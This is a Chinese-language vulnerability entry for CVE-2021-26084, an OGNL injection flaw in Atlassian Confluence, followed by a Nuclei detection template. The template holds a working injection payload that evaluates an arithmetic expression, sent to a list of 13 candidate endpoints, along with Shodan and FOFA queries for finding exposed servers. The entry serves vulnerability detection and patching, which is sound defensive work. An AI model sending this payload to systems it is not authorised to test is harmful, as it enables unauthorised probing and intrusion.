Confluence Server - Remote Code Execution

漏洞信息

漏洞名称： Confluence Server - Remote Code Execution

漏洞编号：

• CVE： CVE-2021-26084

漏洞类型： 代码注入

漏洞等级： 严重

漏洞描述： Atlassian Confluence Server和Data Center是企业广泛使用的协作软件，用于团队文档共享和项目管理。该软件在全球范围内被众多组织采用，特别是在需要团队协作和信息共享的环境中。该软件的安全漏洞可能对依赖其进行日常运营的组织造成严重影响。

该漏洞是一个OGNL注入漏洞，允许攻击者在某些情况下无需认证即可在Confluence Server或Data Center实例上执行任意代码。漏洞的根源在于对用户输入的不当处理，导致攻击者能够注入并执行恶意OGNL表达式。这种类型的漏洞通常由于缺乏足够的输入验证和清理机制而存在。

成功利用此漏洞的攻击者可以在受影响的服务器上执行任意代码，可能导致完全控制系统、数据泄露或其他恶意活动。在某些配置下，即使是未认证的用户也可能利用此漏洞，尤其是在启用了用户自注册功能的情况下。这使得漏洞的潜在影响更加广泛和严重。攻击者可以利用此漏洞进行自动化攻击，无需用户交互，从而增加了被利用的风险和速度。

产品厂商： atlassian

产品名称： confluence_data_center

影响版本： before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from version 7.12.0 before 7.12.5

搜索语法： app=”atlassian-confluence”

来源： https://github.com/projectdiscovery/nuclei-templates/blob/b7c60754265d41e02af8d5ea7c8a40acba9a6233/http%2Fcves%2F2021%2FCVE-2021-26084.yaml

类型： projectdiscovery/nuclei-templates:github issues

POC详情

id: CVE-2021-26084

info:
  name: Confluence Server - Remote Code Execution
  author: dhiyaneshDk,philippedelteil
  severity: critical
  description: Confluence Server and Data Center contain an OGNL injection vulnerability that could allow an authenticated user, and in some instances an unauthenticated user, to execute arbitrary code on a Confluence Server or Data Center instance. The affected versions are before version 6.13.23, from version 6.14.0 before 7.4.11, from version 7.5.0 before 7.11.6, and from  version 7.12.0 before 7.12.5. The vulnerable endpoints can be accessed by a non-administrator user or unauthenticated user if 'Allow people to sign up to create their account' is enabled. To check whether this is enabled go to COG > User Management > User Signup Options.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected server.
  remediation: |
    Apply the latest security patches provided by Atlassian to mitigate this vulnerability.
  reference:
    - https://jira.atlassian.com/browse/CONFSERVER-67940
    - https://github.com/httpvoid/CVE-Reverse/tree/master/CVE-2021-26084
    - https://nvd.nist.gov/vuln/detail/CVE-2021-26084
    - https://github.com/Udyz/CVE-2021-26084
    - https://github.com/0xsyr0/OSCP
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2021-26084
    cwe-id: CWE-917
    epss-score: 0.94417
    epss-percentile: 0.99978
    cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
  metadata:
    max-request: 13
    vendor: atlassian
    product: confluence_data_center
    shodan-query:
      - http.component:"Atlassian Confluence"
      - http.component:"atlassian confluence"
    fofa-query: app="atlassian-confluence"
  tags: cve2021,cve,rce,confluence,injection,ognl,kev,atlassian

http:
  - raw:
      - |
        POST /{{path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        queryString=aaaa\u0027%2b#{16*8787}%2b\u0027bbb

    payloads:
      path:
        - pages/createpage-entervariables.action?SpaceKey=x
        - pages/createpage-entervariables.action
        - confluence/pages/createpage-entervariables.action?SpaceKey=x
        - confluence/pages/createpage-entervariables.action
        - wiki/pages/createpage-entervariables.action?SpaceKey=x
        - wiki/pages/createpage-entervariables.action
        - pages/doenterpagevariables.action
        - pages/createpage.action?spaceKey=myproj
        - pages/templates2/viewpagetemplate.action
        - pages/createpage-entervariables.action
        - template/custom/content-editor
        - templates/editor-preload-container
        - users/user-dark-features

    stop-at-first-match: true

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'value="aaaa{140592=null}'

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100c75ddae33864ca12c32ca976235ef144e74e49dbf63e6ac23665e8d37aa27d5502206619b7253c87c0b1c29b37ed1f2054ce6bf333ab8b5a86b9da7591622b8d1e00:922c64590222798bb761d5b6d8e72950